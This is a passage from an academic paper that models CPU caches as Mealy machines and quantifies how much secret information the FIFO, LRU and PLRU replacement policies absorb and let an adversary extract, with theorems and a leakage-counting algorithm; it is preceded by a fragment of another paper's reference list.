accept sequences of blocks created ad-hoc by the attacker.
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31. Gervais, A., Karame, G.O., Wüst, K., Glykantzis, V., Ritzdorf, H., Capkun, S.:
On the security and performance of proof of work blockchains. In: ACM CCS, pp.
3–16 (2016)

32. Hirai, Y.: Formal verification of Deed contract in Ethereum name service. https://
yoichihirai.com/deed.pdf

33. Landwehr, C.E., Bull, A.R., McDermott, J.P., Choi, W.S.: A taxonomy of com-
puter program security flaws. ACM Comput. Surv. 26(3), 211–254 (1994)

34. Luu, L., Chu, D.H., Olickel, H., Saxena, P., Hobor, A.: Making smart contracts
smarter. In: ACM CCS (2016). http://eprint.iacr.org/2016/633

35. Luu, L., Teutsch, J., Kulkarni, R., Saxena, P.: Demystifying incentives in the con-
sensus computer. In: ACM CCS, pp. 706–719 (2015)

36. Marino, B., Juels, A.: Setting standards for altering and undoing smart contracts.
In: RuleML, pp. 151–166 (2016)

37. Nakamoto, S.: Bitcoin: a peer-to-peer electronic cash system (2008). https://
bitcoin.org/bitcoin.pdf

38. Nipkow, T., Wenzel, M., Paulson, L.C. (eds.): Isabelle/HOL: A Proof Assistant for
Higherorder. LNCS, vol. 2283. Springer, Heidelberg (2002)

39. Nomura Research Institute: Survey on blockchain technologies and related services.
http://www.meti.go.jp/english/press/2016/pdf/0531 01f.pdf

40. Pierrot, C., Wesolowski, B.: Malleability of the blockchain’s entropy. IACR Cryp-
tology ePrint Archive 2016, 370 (2016)

41. Piessens, F.: A taxonomy of causes of software vulnerabilities in internet software.
In: International Symposium on Software Reliability Engineering, pp. 47–52 (2002)

42. Popejoy, S.: The Pact smart contract language (2016). http://kadena.io/pact
43. Sompolinsky, Y., Zohar, A.: Secure high-rate transaction processing in bitcoin. In:
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Abstract. Modern computer architectures share physical resources
between different programs in order to increase area-, energy-, and cost-
efficiency. Unfortunately, sharing often gives rise to side channels that
can be exploited for extracting or transmitting sensitive information.
We currently lack techniques for systematic reasoning about this inter-
play between security and efficiency. In particular, there is no established
way for quantifying security properties of shared caches.

In this paper, we propose a novel model that enables us to character-
ize important security properties of caches. Our model encompasses two
aspects: (1) The amount of information that can be absorbed by a cache,
and (2) the amount of information that can effectively be extracted from
the cache by an adversary. We use our model to compute both quantities
for common cache replacement policies (FIFO, LRU, and PLRU) and to
compare their isolation properties. We further show how our model for
information extraction leads to an algorithm that can be used to improve
the bounds delivered by the CacheAudit static analyzer.

1 Introduction

Modern computer architectures share physical resources across different pro-
grams in order to increase area-, energy-, and cost-efficiency. Examples of com-
monly shared resources are caches, branch prediction units, DRAM, and disks.

Unfortunately, sharing poses a threat to security: even if programs are com-
pletely isolated on a logical level, sharing a physical resource usually means that
one program’s resource usage pattern can be observed by the other. This con-
stitutes a channel that can be exploited for extracting or transmitting sensitive
information. While this kind of vulnerability has been known for decades [14],
its severity has become painfully apparent with a stream of highly effective side-
channel attacks. One shared resource that has been the objective of a large
number of attacks are CPU caches, e.g. [2,3,6,12,16,20,24].

From a security point of view it would be ideal to completely eliminate side
channels through the cache by design, as in [22,25], or to flush the cache between
accesses of two different parties. Unfortunately, such conservative approaches
also partially void the performance benefits of sharing. In many practical sce-
narios, designers will opt for less conservative solutions that offer “sufficient”
degrees of security together with high performance. However, while there is a
c© Springer-Verlag GmbH Germany 2017
M. Maffei and M. Ryan (Eds.): POST 2017, LNCS 10204, pp. 189–209, 2017.
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large body of work on evaluating the impact of different cache designs on per-
formance, there are no established metrics for evaluating their security, which
prevents principled decision-making in that design space.

Approach. In this paper, we address this problem by introducing a novel app-
roach to quantify the security of caches, in particular: their replacement policies.
Our approach aims to answer the following questions, which capture two natural
aspects of isolation between programs that share the cache:

Q1. How much information about a computation is absorbed by the cache?
There are two challenges involved with this question. The first is to identify
a meaningful measure for the information contained in a given cache state.
The second is to characterize the set of possible computations, which may
induce different cache states. To make assertions about the security of the
cache architecture (rather than about the security of a specific program
running on top of a cache architecture) such a characterization needs to
encompass a sufficiently general class of programs.

Q2. How much information can an adversary extract from the cache state?
The challenge for answering this question is that an adversary can only
learn about the cache state by probing, that is, by performing memory
accesses and measuring their latency. However, probing also modifies the
cache state and thus can reduce its information content. With the excep-
tion of one approach that encompasses secrets that change over time [17],
existing models of quantitative information flow do not account for this
scenario because they either consider only single probes [21] or assume the
secret remains unchanged by the probing [4,7,13].

A1. For answering Q1, we characterize the absorbed information as the number
of reachable cache states, which essentially captures the information that pro-
grams leak into the cache. For a single program, this amount can be bounded
using existing static analysis tools [10]. For abstracting from a specific program,
we draw inspiration from the working set model [9] and characterize programs
in terms of their footprint, i.e., the number of memory blocks they use. We then
show how (and under which assumptions) the footprint alone can be used to
characterize the absorption of a given replacement policy, leading to a program-
independent measure.

A2. For answering Q2, we put forward a novel model to quantify the
“extractable” information about the cache state. We consider an adversary that
adaptively provides inputs and observes the outputs. The key difference to exist-
ing models of adaptive attacks [7,13] is that our model is based on a Mealy
machine in which each input triggers a state transition, which may erase infor-
mation about its origin. As in existing models, we first characterize the revealed
information in terms of a partition of the set of secrets (here: initial states of the
machine). We then evaluate this partition with established measures of leakage
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to quantify the corresponding amount of information. By considering the maxi-
mum leakage w.r.t. all possible inputs to the Mealy machine, we obtain an upper
bound on the information that any adaptive adversary can extract. We present
an algorithm that computes such bounds for given Mealy machines.

Results. We put our models and algorithms to work for the quantification
of absorption and extraction properties of common cache replacement policies,
namely FIFO, LRU, and PLRU. We highlight the following results; see the paper
for more details.

– We show that the relative security ranking of cache replacement policies varies
widely depending on the memory demand of the program. For example, FIFO
can provide the best security when memory demand is low, whereas LRU
generally provides the best security. Our results show that PLRU generally
offers worse security than the other replacement policies.

– We show that our algorithm for information extraction can be used for improv-
ing the cache-state counting of the CacheAudit static analyzer [10]. Our exper-
imental results show that this significantly improves the bounds delivered by
CacheAudit, leading to gains of up to 50 bits for AES 256.

Contribution. In summary, our conceptual contribution is to propose novel
measures for quantifying isolation properties of shared caches. Our practical con-
tribution is to perform the first security analysis of common cache replacement
policies.

2 The Model

2.1 Caches as Mealy Machines

Caches are fast but small memories that store a subset of the main memory’s
contents to bridge the latency gap between the CPU and the main memory. To
profit from spatial locality and to reduce management overhead, main memory
is logically partitioned into a set B of memory blocks. Each block is cached as
a whole in a cache line of the same size. When accessing a memory block, the
cache logic has to determine whether the block is stored in the cache (“cache
hit”) or not (“cache miss”).

In this paper, we model caches as Mealy machines, that is, finite automata
that map sequences of accessed memory blocks to sequences of hits and misses.
We begin by recalling the definition of a Mealy machine before we specialize it
to the case of caches.

Definition 1. A (deterministic) Mealy machine M is a five-tuple consisting of

– S: a finite set of states,
– Σ: a finite set of inputs,
– O: a finite set of outputs (or observations),
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– upd : S × Σ → S: a transition function, and
– view : S × Σ → O: an observation function

For casting caches as Mealy machines, we use memory blocks as inputs, i.e.
Σ = B, and cache hits (H) and misses (M) as observations, i.e., O = {H,M}.
For defining the set of states S, recall that caches are commonly partitioned into
independent equally-sized cache sets whose size A is called the associativity of
the cache. For each block there is a single cache set that stores it.

For simplicity of presentation we focus on caches with a single set. Since
cache sets behave independently from each other, the technique is generalizable
to several sets by focusing each time on the blocks stored in a particular set. We
model a cache set as a function that assigns an age in A := {0, . . . , A − 1, A} to
each memory block.

S = {c ∈ B → A | ∀b1, b2 ∈ B : b1 �= b2 ⇒ c(b1) �= c(b2) ∨ c(b1) = c(b2) = A)} .

Here, the youngest block has age 0 and the oldest cached block has age A − 1.
Age A means that a block is not cached; it is the only age that can be shared
by multiple blocks.

With this, the observation function view b = view(·, b) is naturally defined as

view b(c) =

{
H if c(b) < A

M else

The transition function updb = upd(·, b) is specified by:

updb(c)(b
′) =

⎧
⎪⎪⎪⎨

⎪⎪⎪⎩

c(b′) if b′ �= b ∧ c(b′) = A

0 if b′ = b ∧ c(b) = A

c(b′) + 1 if b′ �= b ∧ c(b′) < A ∧ c(b) = A

Πc(b)(c(b′)) if c(b′) < A ∧ c(b) < A

(1)

This transition function models permutation replacement policies as defined
in [1]. Upon a miss, c(b) = A, the accessed block is placed at the beginning of
the cache, increasing the ages of younger blocks and evicting the block with age
A−1. In the case of a hit, each replacement policy reorders the blocks in a certain
way, determined by the permutation function Πα(α′) : A → A; it modifies the
current age α′ of a block according to a base age α.

Each replacement policy has its own permutation function: FIFO does not
reorder the blocks, LRU sets the age of the accessed block to 0, and PLRU
behaves similar to LRU but with a more complex reorganization. We refer
to the Mealy machines corresponding to LRU, PLRU, and FIFO caches by
MLRU,MPLRU, and MFIFO, respectively.

The formalization of these policies, as well as the proofs of all technical results
are contained in the extended version of this paper [8].
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2.2 Quantifying Absorption and Extraction

We characterize absorption and extraction in terms of the interactions of two
agents, a victim and an adversary.

– The victim first chooses a secret, such as a cryptographic key. We model this
using a random variable X. The victim then uses this secret as input to a
program that he runs to completion (or preemption) on a platform with a
cache. We capture the effect of the victim’s computation on the cache state
in terms of a finite sequence of blocks from the set of victim’s blocks Bv,
where Bv ⊆ B. The cache uses this sequence as inputs to transition from an
initial state to the victim’s state. We model the victim’s state using a random
variable Yv that takes values in a set Sv ⊆ S, i.e. ran(Yv) = Sv.

– The adversary then runs a program on the same platform, which enables him
to make observations about the state of the cache by measuring the latency
of its memory accesses.1 We model the adversary’s actions in terms of a finite
sequence of blocks from the subset of attacker’s blocks Ba ⊆ B. Using the
sequence of blocks as inputs, the cache transitions from the victim’s state
returning a sequence of hits and misses that we model with the random vari-
able Za, ran(Za) ⊆ O∗. We make the random variable dependent on the
attacker since he can choose the sequence of blocks. Based on these observa-
tions, the adversary tries to guess the secret. We model the guess in terms of
the random variable X̂.2 We say that an attack is successful if the adversary
correctly guesses the secret, i.e. if X = X̂.

We now give a high-level operational motivation for our definitions of infor-
mation absorption and extraction, in terms of a bound on the probability of
a successful attack. We assume that the distribution of each of these random
variables depends only on the outcome of the previous one, i.e., that the dis-
tribution of cache states depends only on the secret, and that the adversary’s
observations depend only on the state of the cache. Then we can cast the depen-
dencies between these random variables in terms of the following Markov chain:

X
Secret

Victim
|−→ Yv

Cache State

Adversary probe
|−→ Za

Observation

Adversary guess
|−→ X̂

Guess
(2)

The following result bounds the probability of a successful attack, i.e.
P (X = X̂), in terms of the size of the ranges of Yv and Za, respectively.

Theorem 1.

P (X = X̂) ≤ max
x∈ran(X)

P (X = x) · |ran(Za)| (3)

P (X = X̂) ≤ max
x∈ran(X)

P (X = x) · |ran(Yv)| (4)

1 In the literature, this is known as an access-based adversary, e.g. [19].
2 Note that, while Yv and Za are given in terms of inputs and outputs of the Mealy

machine representing the cache, we do not assume any particular structure on X
and X̂.
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For an attacker that follows a deterministic strategy, the value of Za is deter-
mined by the value of Yv. Therefore |ran(Za)| ≤ |ran(Yv)|, which implies that (3)
leads to better security guarantees than (4).

Whenever additionally the value of Yv is determined by that of X and X is
uniformly distributed, the bounds given by Theorem 1 are tight, in the sense
that they can be achieved by computationally unbounded adversaries.

In this paper, we will use |ran(Yv)| to capture the amount of information
that is absorbed by the cache, and we will use |ran(Za)| to capture the amount
of information that the adversary can extract from the cache. The operational
significance of these quantities follows from Theorem 1. We discuss how these
quantities can be computed in Sects. 3 and 4, respectively.

3 Absorption of Information

Fig. 1. Example of
Mealy machine

In this section we characterize the information absorption
of different cache replacement policies. That is, we char-
acterize ran(Yv) from (2) as a subset Sv ⊆ S of reach-
able victim’s states of the Mealy machine representing
the cache.

Before we give the formal definition we note that the
absorbed information depends on two things: the initial
state of the Mealy machine and the inputs of the victim.
To see the effect of the initial state s0 ∈ S, consider the
Mealy machine in Fig. 1 and assume that the victim may
use any sequence of inputs from Σ∗

v = {a, b}∗. If we start
from the state s0 = 1 only that one state is reachable, Sv = {1}; if s0 = 2, 3
then Sv = {1, 2, 3} and finally if s0 = 4 then Sv = S.

We capture the victim’s inputs as a trace t ∈ Σ∗
v . This leads to the following

definition of |ran(Yv)|.
Definition 2. We define the absorbed information of a Mealy machine M =
(S,Σ,O, upd , view) w.r.t an initial state s0 and a set of traces T ⊆ Σ∗

v as

Abs(M, s0, T ) = |{s ∈ S | ∃t ∈ T : upd t(s0) = s}| ,
In the above definition of absorption, the set of traces T is a parameter.

For a given program, existing static analysis techniques can be used to compute
approximations of the set of traces T and the induced absorption of a particular
cache, modeled by a Mealy machine M . In Sect. 6 we present the results of a
static analysis of two AES implementations.

In this section, our goal is to characterize the absorption properties of caches
independently of a particular program. A worst case approach to this end is to
study absorption under all possible traces T = B∗

v , given a set of memory blocks
Bv. For this, we first state several general results in Sect. 3.1, which show that
the absorption of caches is independent of the particular set of memory blocks
Bv being accessed, and only depends on its size, |Bv|. In Sect. 3.2, we then use
these general results to derive concrete results on the absorption properties of
caches under LRU, FIFO, and PLRU replacement.
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3.1 Data Independence of Permutation Replacement Policies

Initial State. Absorption, as defined in Definition 2 depends on the initial state
of the Mealy machine. Considering programs that may access the set of memory
blocks B ⊆ B, two types of initial states for caches are particularly interesting:

Definition 3. We say that a cache state c : B → A is

1. empty w.r.t. B if c(B) = {c(b) | b ∈ B} = {A}. That is, none of the blocks
in B are cached.

2. filled with B if c(B) = {0, . . . ,min(A, |B| − 1)}. That is, the blocks in B
occupy the cache. If B contains less blocks than cache lines, we require that
the first |B| lines are filled.

The notions of empty and filled cache states are relative to a set of memory
blocks. We will consider empty and filled cache states relative to the memory
blocks accessed by the victim, Bv. To conservatively capture the power of an
attacker, ages without a victim’s block mapped to them will be assumed to hold
the attacker’s memory blocks not accessible for the victim, that is, blocks from
the set Ba\Bv.

Data Independence. The following result is central for our program-independent
analysis of cache replacement policies. It shows that absorption can be char-
acterized independently of the particular set of blocks B that the victim may
access:

Theorem 2. Whenever |B1| = |B2|, and c1 is empty (filled) w.r.t. B1 and c2

empty (filled) w.r.t. B2, then

Abs(M, c1, B
∗
1) = Abs(M, c2, B

∗
2).

The proof of Theorem 2 follows from the following lemma and the observation
that one can define bijections between all sets of equal cardinality.

Lemma 1. Let f : B → B be a bijection. Then

Abs(M, c0, B
∗) = Abs(M, c0 ◦ f−1, (f(B))∗).

We focus on filled and empty initial states since they represent the two
extremes for the information absorption. Consider a partially filled state c, that
is, where there is a sequence of distinct blocks b0 . . . bn with n ≤ min(A, |B| − 1)
such that c(bi) = i for i ≤ n. Then, any state reachable from c by inputting a
trace t ∈ B∗ is reachable from an empty one ce with the trace t′ = bn . . . b0t. Since
ce is empty, we load the blocks b0 . . . bn in reverse order; these access produce
misses and so, after the updates, updb0 · · · updbn(ce)(bi) = i, see (1). Therefore
Abs(M, c,B∗) ≤ Abs(M, ce, B

∗). Using this argument we can see that, for the
same set of memory blocks, the value of the absorbed information is the small-
est when starting on a filled state and is the largest when starting on an empty
state.
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An important consequence of Theorem 2 is that, given an identical status, i.e.
empty or filled, of the initial state, the amount of absorbed information depends
only on the number of blocks in Bv. We call this number the footprint and
denote it by fp = |Bv|. This terminology is loosely connected with the notion
of a memory footprint as used in the theory of locality [23]. Theory of locality
defines the footprint as the number of distinct memory blocks accessed during
a time window, i.e. on a trace of a given length. In our case we consider this
length to be unbounded so the trace is the whole execution of the program.
This motivates the specialization of the definition of the absorbed information
in terms of the footprint, namely

Absx(M, fp) = Abs(M, c0, (Bv)∗) ,

where we use the subscript x = e to denote that c0 is empty w.r.t. Bv, and x = f
to denote that c0 is filled w.r.t. Bv.

3.2 Analysis of Cache Replacement Policies

Next we give a summary of our program-independent analysis of the absorption
for each replacement policy.

Results for Filled Caches. For some replacement policies, when the cache is
filled and the footprint is small enough, some cache states are unreachable from
the initial state, which reduces the information absorption. The details for each
policy are given below. In case every state of the cache is reachable, we count
all the possible feasible mappings of fp blocks to the set of ages A. Then the
absorbed information is the number of k-permutations of n of the memory blocks,
i.e., the number of different ordered arrangements of fp blocks in a sequence of
up to A elements.

Proposition 1. For MLRU, the absorbed information for a filled cache is:

Absf (MLRU, fp) =

{
fp! if fp < A,

fp!
(fp−A)! if fp ≥ A.

Proposition 2. For MFIFO, the absorbed information for a filled cache is:

Absf (MFIFO, fp) =

⎧
⎪⎨

⎪⎩

1 if fp ≤ A,

A + 1 if fp = A + 1,
fp!

(fp−A)! if fp > A + 1.

Proposition 3. For MPLRU, the absorbed information for a filled cache is:

Absf (MPLRU, fp) =

{
2fp−1 if 1 ≤ fp ≤ A,

fp!
(fp−A)! if fp > A.
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Results for Empty Caches. The case of an empty cache is more complex
to analyze. First we need to explain a special behavior of PLRU that produces
extra reachable states which increases its absorption with respect to the other
two policies.

Example 1. Consider a 4-way cache that starts in a state consisting of the
attacker’s blocks {x0, x1, x2, x3} ⊆ Ba where we are going to access three victim
blocks in a specific order, a, b, c ∈ Bv. For any of the three replacement policies
the state becomes:

[x0, x1, x2, x3] �
a

[a, x0, x1, x2] �
b

[b, a, x0, x1] �
c

[c, b, a, x0],

where the leftmost element of the lists has age zero and the one on the right is the
oldest. Consider that we now access block b again. The cache states transition to:
[b, c, a, x0] for LRU, [c, b, a, x0] for FIFO and [b, c, x0, a] for PLRU (note the age of
the last attacker’s block x0). The state obtained by PLRU is unreachable for the
other two replacement policies, since they always fill up the cache consecutively
from left to right. This illustrates how the information absorption for PLRU is
larger than for the other policies.

The example is independent of the blocks being used but a consequence of
the fact that we are inputting k < A blocks. For LRU and FIFO, any sequence
using k < A victim blocks will transform an initial state [x0, x1, . . . , xA−1] to a
state of the form [ , . . . , , x0, . . . , xA−1−k], where victim blocks are denoted by
“ ”. In the case of PLRU this is not always the case, as the previous example
shows.

Following our definition of absorption, we assume that the victim may input
any sequence of blocks. Then the number of reachable cache states can be deter-
mined as follows:

1. Determine the set of reachable configurations, i.e., cache states in which the
victim’s memory blocks are not distinguished from each other, but instead
represented by the placeholder “ ”.

2. Determine for each configuration the number of concrete cache states the
configuration represents, i.e., the number of ways the victim’s blocks may fill
its placeholders.

This procedure can further be simplified upon by the following observation: The
number of concrete cache states that a configuration represents, only depends on
its number of placeholders and the number of victim blocks to consider: Given
k placeholders and fp ≥ k victim’s memory blocks, a configuration represents
exactly fp!

(fp−k)! cache states.
Let ΛM (k,A) denote the number of reachable configurations under pol-

icy M , associativity A, with exactly k placeholders. Accessing fp distinct memory
blocks may yield configurations with 0 to fp many placeholders. Based on this
notion, we obtain the following general characterization of a replacement policy’s
absorption:
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Proposition 4. For any replacement policy M , the absorbed information start-
ing from an empty cache is:

Abse(M, fp) =
min{fp,A}∑

k=0

ΛM (k,A)
fp!

(fp − k)!
.

Lemma 2. For LRU and FIFO, ΛM (k,A) = 1 for any number of placeholders k
and associativity A. For PLRU, ΛMPLRU

(k,A) is given by:

ΛMPLRU
(k,A) = 2 ·

min{A
2 ,k−1}∑

i=max{1,k−A
2 }

ΛMPLRU
(i, A

2 ) · ΛMPLRU
(k − i, A

2 ), (5)

if 1 < k < A and ΛMPLRU
(k,A) = 1 if k ≤ 1 or k = A.

Comparison of Absorption. Let us compare the absorption of LRU, FIFO,
and PLRU based on Propositions 1–4, for a cache set of associativity 4. Similar
results can be obtained for any associativity. The results depicted in Fig. 2 can be
obtained both from the formulas above or by simulation of caches. We highlight
the following observations.

– For each replacement policy, the absorbed information grows monotonically
with the footprint, as expected.

– The absorption for an empty initial state is always larger than for a filled
state.

0 1 2 3 4 5 6 7
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0 1 2 3 4 5 6
0
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10

(a) Filled initial cache. (b) Empty initial cache.

FIFO LRU PLRU

Fig. 2. Information absorption of a 4-way cache set. (a) depicts the case of a filled initial
cache, part (b) an empty one. In both figures, the horizontal axis depicts the footprint,
i.e., the number of memory blocks used. The vertical axis depicts the absorbed infor-
mation on a logarithmic scale, that is, in bits. Note that in (b), the line for LRU and
FIFO coincides.
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– For a filled initial state, LRU absorbs always at least as much information as
the other replacement policies since every state is always reachable. For large
enough footprints, the absorption coincides for all policies.

– For an empty initial state PLRU absorbs most. This is due to the fact that
PLRU may leave “holes” in the cache state, see Example 1.

– For a filled initial cache, FIFO does not absorb any information, whenever
the footprint is smaller than the associativity. This captures the intuition that
preloading of sensitive data can increase security, as long as all data fits into
the cache. In case it does not, the positive effect of preloading is, however,
quickly undone.

4 Extraction of Information

In this section we characterize the information extraction for different cache
replacement policies. That is, we characterize ran(Za) from (2). For this we
develop a novel model that characterizes the information an adaptive attacker
can learn about the initial state of a Mealy machine. We then use the model
to derive bounds on the information that can be extracted from caches with
different replacement policies.

4.1 Probing Strategies

Let M = (S,Σ,O, upd , view) be a Mealy machine. A probe p of M is an alter-
nating sequence p = σ1o1σ2 . . . σnon of inputs σi ∈ Σa ⊆ Σ and observations
oi ∈ O, such that M outputs o1 . . . oi when the sequence σ1 . . . σi is the input.
We say that a state s ∈ S is coherent with probe p if, for all i ∈ {1, . . . , n}, we
have

viewσi
updσi−1

· · · updσ1
(s) = oi ,

i.e., the probe does not exclude s as a potential initial state of M . Along the
lines of [5,13], we define the adversary’s knowledge set K(p) about the initial
state of M as the subset of possible states that are coherent with probe p.

K(p) = {s ∈ Sv | s is coherent with p}

For convenience, we also define the adversary’s final knowledge set FK(p) as
the set of states that M may be in after receiving the inputs and producing the
outputs in the probe p:

FK(p) = {updσn
· · · updσ1

(s) | s ∈ K(p)}

An adversary may be able to choose inputs based on previous observations,
that is, the probing can be adaptive. To model adaptivity we introduce probing
strategies. A probing strategy is a function from a sequence of observations to
an input symbol, att : O∗ �→ Σa. This way, the first input to make comes
from applying the function to the empty sequence, σ1 = att(ε), the second
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input is a function of the previous observation, σ2 = att(o1), and so, for any i
σi = att(o1 . . . oi−1). We say that p is a probe of att, if p may be obtained from
the probing strategy att.

We now present a toy example that we will use through the section to illus-
trate the use of probing strategies.

Example 2. Consider a Mealy machine where S = Sv = Σa = {0, 1, . . . , 6}, the
observation and transition function are:

viewσ(s) =

⎧
⎪⎨

⎪⎩

0 if s < σ − 1,

2 if s ∈ [σ − 1, σ + 1],
1 if σ + 1 < s.

updσ(s) =

⎧
⎪⎨

⎪⎩

s + 1 if s < σ,

s if s ∈ [σ, σ + 1],
s − 1 if σ + 1 < s.

Consider the probing strategy given by the function att(o1 . . . on) = 0+
∑n

i=1 oi,
which starts by inputting 0 and determines the next input based on the previous
outputs. We will later see that att is a good probing strategy in this example.

By definition, we can apply a probing strategy indefinitely on sequences
of arbitrary length and thus probe the Mealy machine indefinitely. However,
at some point additional inputs are of no use, as the following definition
characterizes.

Definition 4. We say that a probe p = σ1o1σ2 . . . σnon of probing strategy att
is depleted w.r.t. to att, if for all probes q of att that are extensions of p, i.e.,
q = pσn+1on+1σn+2 . . . σmom, the knowledge sets are equal, i.e., K(p) = K(q).
We say a depleted probe p = σ1o1σ2 . . . σnon is of minimal length when, a probe
q made of a sub-sequence of it, q = σk1ok1σk2 . . . σki

oki
for any i < n, is not

depleted.

We next show that the knowledge sets of depleted probes of a probing strategy
form a partition of the states of M . That is, the knowledge sets of distinct
sequences are pairwise disjoint and their union contains all states.

Proposition 5. Given a probing strategy att, the set of all knowledge sets pro-
duced by depleted probes w.r.t. att

Ratt = {K(p) | probe p = att(ε)o1 . . . att(o1 . . . on−1)on ∧ p is depleted w.r.t. att},

is a partition of the set of possible states Sv.

Before starting the probing, the attacker knows that the victim’s state is an
element of the set Sv. As he makes inputs and refines the knowledge sets, he
reduces the number of coherent states and thus learns information about the
victim’s initial state. As depleted probes correspond to unrefinable knowledge
sets, there is no point in further queries once a probe is depleted.

When constructing a strategy, the attacker needs to consider all the possible
outputs that he might observe when eventually applying his strategy. Once all
the knowledge sets obtained from an attack strategy cannot be further refined by
additional queries, the probes are depleted and the attacker has along the way
obtained the finest partition of the set Sv under that strategy and all possible
extensions.



Security Analysis of Cache Replacement Policies 201

Table 1. Partition from Example 3.

0/0 1/1 0 2/2 3/3 4/4 5/5 6/6

0/0 2 1/1 2/1 3/2 1 4/3 5/4 6/5

0/1 1/2 2/1 3 3/2 4/2 5/3 2 6/4

0/1 1/2 2/2 3/3 4/2 4 5/3 6/3

0/1 1/2 2/2 3/3 4/3 5/4 6/3

Example 3. Following Example 2 we apply the probing strategy to the set of
possible states and obtain the partition shown in Table 1. Each row shows the
knowledge sets before and after the elements are updated (left and right, respec-
tively). The first row shows the initial knowledge set, i.e., Sv. The bold face 0
indicates the first input symbol, which partitions the initial knowledge set into
two knowledge sets, corresponding to the two possible outputs of the Mealy
machine on the input 0. For each resulting knowledge set, except for the single-
ton ones where the probes are depleted, the figure then indicates the next input
following the probing strategy and how it partitions its knowledge set. After at
most four inputs we obtain a partition of all singleton knowledge sets.

For every attack strategy there is a finite set of depleted probes of minimal
length. We define Za = Zatt from (2) as the random variable that captures
the sequence of observations obtained when following probing strategy att until
obtaining a depleted probe of minimal length. So ran(Zatt) ⊆ O∗ is the set of
sequences of observations obtained from the depleted probes of minimal length
of att. Every depleted probe corresponds to a knowledge set; so we can relate
every element of ran(Zatt) to a knowledge set. Therefore, computing | ran(Zatt)|
is equivalent to counting the number of knowledge sets in the partition induced
by the strategy att.

Definition 5. We say that a strategy att is optimal if the partition Ratt it
induces on a set of possible states Sv, has the maximal number of knowledge
sets among all strategies. We call this number rmax the maximum information
leakage.

The strategy presented in Example 2 is actually optimal since no partition
can be better than the one that produces singleton knowledge sets. On the other
hand, the strategy att(o1 . . . on) = 1 +

∑n
i=1 oi is not optimal since the first

input, 1, is not able to distinguish the initial states 0 and 1, which are both
updated to 1 as a result of the input, upd1(0) = upd1(1) = 1, and so they can
not be distinguished by this strategy.

4.2 Information Extraction in Caches

Here we derive bounds on the maximum information leakage for the three
replacement policies. We prove bounds for LRU and FIFO based on the asso-
ciativity of the cache and prove that for PLRU this bound depends also on the
footprint.
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(a) Filled cache using FIFO. (b) Empty cache using FIFO.
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(c) Filled cache using LRU. (d) Empty cache using LRU.
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(e) Filled cache using PLRU. (f) Empty cache using PLRU.

Absorption Extraction (Shared) Extraction (Disjoint)

Fig. 3. Information extraction of different replacement policies on a 4-way cache set.
(a), (c) and (e) depict the case of a filled initial cache, (b), (d) and (f) an empty one. In
all figures, the horizontal axis depicts the footprint, i.e., the number of memory blocks
used. The vertical axis depicts the extracted information on a logarithmic scale, that is,
in bits. The results for shared memory adversaries use the solid line; disjoint memory
case uses the dashed line.

We consider two types of attackers in terms of their set of memory blocks.

– Shared memory attacker. The attacker’s set of blocks includes the victim’s
ones, Bv ⊂ Ba.

– Disjoint memory attacker. The sets of blocks of the attacker and the victim
are disjoint Bv ∩ Ba = ∅.
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Proposition 6. Consider MLRU and MFIFO with associativity A and a shared
memory attacker. The maximum information leakage on any set of states is
bounded by 2A for MLRU and by (A + 1)! for MFIFO.

Proposition 7. Consider MPLRU with associativity A ≥ 43 and a shared mem-
ory attacker. Let rmax(fp) be the maximum information leakage obtained with a
given footprint fp ≥ A. It holds that rmax(fp + 1) ≥ rmax(fp) + 1.

In the case of associativity four for MPLRU the maximum information leakage
is increased by eight with every new memory block, this can be seen in Figs. 3e
and f. This result also implies that the maximum information leakage for PLRU
is unbounded.

Proposition 8. Consider MFIFO and MLRU with associativity A, and a disjoint
memory attacker. The maximum information leakage on any set of states is
bounded by A + 1.

Proposition 9. Consider MPLRU with associativity A, footprint fp, and a
disjoint memory attacker. The maximum information leakage is bounded by∑fp

k=0 ΛPLRU(k,A) where ΛPLRU(k,A) is defined as in (5).

5 An Algorithm for Information Extraction

In this section we present an algorithm for computing the maximum information
leakage rmax for a given Mealy machine. The algorithm complements Proposi-
tions 6–9 in that it can deliver rmax for a specific set of states Sv ⊆ S and an
arbitrary Mealy machine. We use it later to compute extraction w.r.t. a given
memory footprint, and to replace the engine for counting cache states in the
CacheAudit static analyzer, leading to tighter bounds on the leakage.

In principle, our algorithm enumerates all attack strategies att and computes
their partitions Ratt by grouping states in Sv according to the corresponding
observations. Additionally, we use two techniques for improving efficiency and
ensuring termination:

– First, instead of maintaining the knowledge sets K(p), for every probe p, we
maintain the final knowledge set FK(p). Using the final knowledge set enables
us to track the number of original knowledge sets, as required for computing
leakage. At the same time it enables re-use of the computation leading to
FK(p) across different strategies.

– Second, we need to identify cycles when refining partitions in order to ensure
termination. We say that a probe q is redundant w.r.t another probe p, if
FK(pq) = FK(p). That is, the probe q does not further refine the (final)
knowledge set of p. The probe q represents a cycle, which we detect by keeping
track of already visited final knowledge sets.

The pseudocode is given in Algorithm 1. We next argue its correctness.
3 Note that for associativity 2, PLRU and LRU coincide.
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Algorithm 1. Partition function.
1 Partition(S, view , upd , Σa, S) Data: set of possible states S (initially S = Sv),

observation function view , transition function upd , set of attacker’s
inputs Σa, flag sets S (initially S = ∅).

Result: number of knowledge sets rmax in the partition.
2 begin

// Look for redundant sequences

3 if S ∈ S then
4 return 1;
5 end
6 rmax = 1;
7 foreach σ ∈ Σa do

// If the leakage is equal to the size of the set, finish

8 if rmax = |S| then
9 return rmax;

10 end
// If the partition is not refined save the set

11 if |viewσ(S)| = 1 then
12 S ′ = S ∪ {S};

// If the partition is refined erase the saved sets

13 else
14 S ′ = ∅;
15 end
16 foreach oi ∈ viewσ(S) do
17 Si = {s ∈ S | viewσ(s) = oi}; // partition

18 S′
i = updσ(Si); // update

19 ri = Partition(S′
i, view , upd , Σa, S ′); // recursion

20 end
// Increase the number of produced knowledge sets

21 rmax = max(rmax,
∑

i ri);

22 end
23 return rmax;

24 end

Proposition 10. Given a Mealy machine M = (S,Σ,O, upd , view),
Algorithm 1 terminates and finds the maximum information leakage rmax for
a set of possible states Sv.

6 Experimental Results

6.1 Extraction (Program-Independent)

We use two alternative approaches for the program-independent evaluation of
extraction properties cache replacement policies. The first is to rely on the upper
bounds of Propositions 6–9. The second is to apply the algorithm presented in
Sect. 5 to a set of states that represent the absorbed information for a given
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footprint. We determine that set for each cache replacement policy by a simple
fixpoint computation. This algorithmic approach is more precise because it takes
the absorbed information as a baseline, but it comes at the expense of higher
computational cost.

We obtain the following results by using Algorithm 1, where we consider
a single 4-way cache set. Figure 3 depicts our data. We highlight the following
results:

– For shared-memory adversaries, FIFO and LRU reach the bound on the max-
